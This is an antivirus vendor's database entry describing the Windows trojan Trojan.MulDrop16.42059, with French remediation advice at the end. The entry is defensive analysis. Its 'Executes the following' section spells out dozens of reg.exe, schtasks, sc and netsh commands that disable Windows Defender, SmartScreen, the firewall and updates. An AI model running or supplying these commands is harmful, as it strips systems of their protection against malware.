



FR

Trojan.MulDrop16.42059

Added to the Dr.Web virus database: 2021-04-09

Virus description added: 2021-04-10

Technical Information

To ensure autorun and distribution

Sets the following service settings

- [

Malicious functions

To bypass firewall, removes or modifies the following registry keys

- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:

- Windows Firewall
- Windows Defender

Modifies file system

Creates the following files

- %APPDATA%\microsoft\ruhsat.png
- %APPDATA%\microsoft\selamm.bat
- nul

Network activity

Connects to

- 'i.####iresim.com':443
- 'cd###scordapp.com':443

TCP

- 'i.####iresim.com':443
- 'cd#.###scordapp.com':443

UDP

- DNS ASK i.####iresim.com
- DNS ASK cd#.###scordapp.com

Miscellaneous

Executes the following

- '%WINDIR%\syswow64\cmd.exe' /c selammm.bat
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t "REG_DWORD" /d "2" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\MpsSvc" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

- '%WINDIR%\syswow64\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '%WINDIR%\syswow64\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t "REG_DWORD" /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallTime" /t "REG_DWORD" /d "3" /f
- '%WINDIR%\syswow64\sc.exe' stop "UsoSvc"
- '%WINDIR%\syswow64\sc.exe' config "UsoSvc" start=disabled
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\fltmc.exe'
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "ScheduledInstallDay" /t "REG_DWORD" /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

Recommandations pour le traitement

Windows

macOS

Linux

Android

1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. [En savoir plus sur Dr.Web Security Space](#).
2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système [Dr.Web@ LiveDisk](#) ou l'utilitaire pour enregistrer [Dr.Web@ LiveDisk](#) sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

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